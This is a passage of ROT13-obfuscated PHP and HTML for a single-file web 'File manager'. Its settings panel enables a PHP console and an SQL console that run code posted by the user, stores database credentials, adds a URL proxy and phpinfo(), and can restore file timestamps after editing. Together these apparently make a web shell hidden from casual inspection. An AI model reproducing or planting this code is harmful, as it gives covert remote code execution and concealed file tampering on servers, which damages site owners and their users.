		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
